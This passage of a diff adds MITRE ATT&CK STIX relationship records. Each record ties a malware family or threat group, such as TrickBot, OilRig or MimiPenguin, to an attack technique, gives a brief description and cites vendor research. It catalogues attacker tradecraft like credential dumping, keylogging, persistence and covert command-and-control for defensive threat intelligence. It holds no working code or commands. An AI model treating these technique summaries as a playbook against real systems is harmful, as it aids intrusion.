"2017-05-31T21:33:27.055Z", + "id": "relationship--361cbd71-b178-44d0-9802-78a310938bad", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "modified": "2019-03-25T14:27:23.923Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Operation Molerats", + "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect information about the currently logged in user by running whoami on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--5183147b-4563-4a01-a360-a419691e35f8", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to upload to its C2 server victim browser bookmarks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c8786a8c-9c40-4df3-874f-952b814baec9", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.074Z", + "id": "relationship--82b679af-7408-4f41-8fc0-5b0cf5993726", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "modified": "2019-03-25T16:59:47.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) deletes its RAT installer file as it executes its DLL payload file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--66bec558-ff92-42ff-a8c1-5b47d071d606", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "source_name": "Fidelis INOCNATION", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) runs whoami on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1c360b2c-8004-4978-ba70-b0bb2257a791", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) leverages a custom packer to obfuscate its functionality.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5ae4207c-95db-4a16-bfac-1d8daf29ba4a", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.614Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a directory listing for a specified directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5c84d301-b6d1-4af8-9c25-1260e05fa924", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "New services created by [RawPOS](https://attack.mitre.org/software/S0169) are made to appear like legitimate Windows services, with names such as \"Windows Management Help Service\", \"Microsoft Support\", and \"Windows Advanced Task Manager\".", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--37aa4e22-824b-468c-ae46-d9d007cc7cc7", + "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", + "source_name": "Kroll RawPOS Jan 2017", + "url": "http://www.kroll.com/CMSPages/GetAzureFile.aspx?path=~%5Cmedia%5Cfiles%5Cintelligence-center%5Ckroll_malware-analysis-report.pdf&hash=d5b5d2697118f30374b954f28a08c0ba69836c0ffd99566aa7ec62d1fc72b105" + }, + { + "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", + "source_name": "TrendMicro RawPOS April 2015", + "url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf" + }, + { + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of leveraging cloud storage APIs such as Cloud, Box, Dropbox, and Yandex for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c2fcdaf4-f4e7-446d-8b92-7a9df7ccc1f8", + "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "modified": "2019-01-29T18:23:46.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) mimics filenames from %SYSTEM%\\System32 to hide DLLs in %WINDIR% and/or %TEMP%.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5a1876a1-144f-4416-b9bf-6df819613962", + "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", + "modified": "2019-06-28T20:48:52.589Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + }, + { + "source_name": "Morphisec ShellTea June 2019", + "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.", + "url": "http://blog.morphisec.com/security-alert-fin8-is-back" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[Umbreon](https://attack.mitre.org/software/S0221) hides from defenders by hooking libc function calls, hiding artifacts that would reveal its presence, such as the user account it creates to provide access and undermining strace, a tool often used to identify malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--7653431a-18ac-43da-8308-63c76ecf0c22", + "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", + "source_name": "Umbreon Trend Micro", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) scans processes on all victim systems in the environment and uses automated scripts to pull back the results.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--39590383-ba69-4d8f-9520-e893cd4ebcdf", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.813Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--afcc4ac4-b088-4795-b159-c6245223178b", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.264Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to perform screen captures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--717d87d5-df97-48a9-8766-c9a947541e1d", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a service to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b0099b28-bcb8-4214-8166-d9caed1b6491", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.312Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "description": "[Tor](https://attack.mitre.org/software/S0183) encapsulates traffic in multiple layers of encryption.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12", + "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.", + "source_name": "Dingledine Tor The Second-Generation Onion Router", + "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[RTM](https://attack.mitre.org/software/S0148) can record keystrokes from both the keyboard and virtual keyboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--23e2dc58-4b8d-48d8-82fd-d051892a7d58", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) uses svchost.exe to execute a malicious DLL included in a new service group.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1c0e8084-c8a5-4c8d-bac1-bfb7eb07b586", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fitzgerald, P. (2010, January 26). How Trojan.Hydraq Stays On Your Computer. Retrieved February 22, 2018.", + "source_name": "Symantec Hydraq Persistence Jan 2010", + "url": "https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) has a command to timestop a file or directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--37804b22-63b4-4b24-846e-6541688d9213", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[MimiPenguin](https://attack.mitre.org/software/S0179) can dump process memory and extract clear-text credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d3b810ed-0be4-448b-b1ac-aa3a7dd16c91", + "source_ref": "tool--5a33468d-844d-4b1f-98c9-0e786c556b27", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.", + "source_name": "MimiPenguin GitHub May 2017", + "url": "https://github.com/huntergregal/mimipenguin" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used HTTP and DNS for C2. The group has also used the Plink utility and other tools to create tunnels to C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--166326b3-6864-4667-aee9-4d7b24cc75d8", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.341Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + }, + { + "source_name": "FireEye APT34 July 2019", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) installs itself as a new service with automatic startup to establish persistence. The service checks every 60 seconds to determine if the malware is running; if not, it will spawn a new instance.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--162a051d-a551-4b8c-875a-75264768e541", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Duqu](https://attack.mitre.org/software/S0038) uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8d0d938e-2e4c-49e8-9290-6bfb86161260", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.238Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) can launch PowerShell Scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--58c28a92-b3ed-41de-841d-8b8d1ad142be", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate files and directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--33327a36-9f05-4a27-ac6a-d36e4cee0b21", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) use HTTPS for all command and control communication methods.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f22106b0-ca8c-45ad-b20c-5a5ddd7bf886", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.423Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192)'s default encryption for its C2 communication channel is SSL, but it also has transport options for RSA and AES.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--2d90749b-525e-4aa2-9df0-1d5677be0b25", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.927Z", + "object_marking_refs": 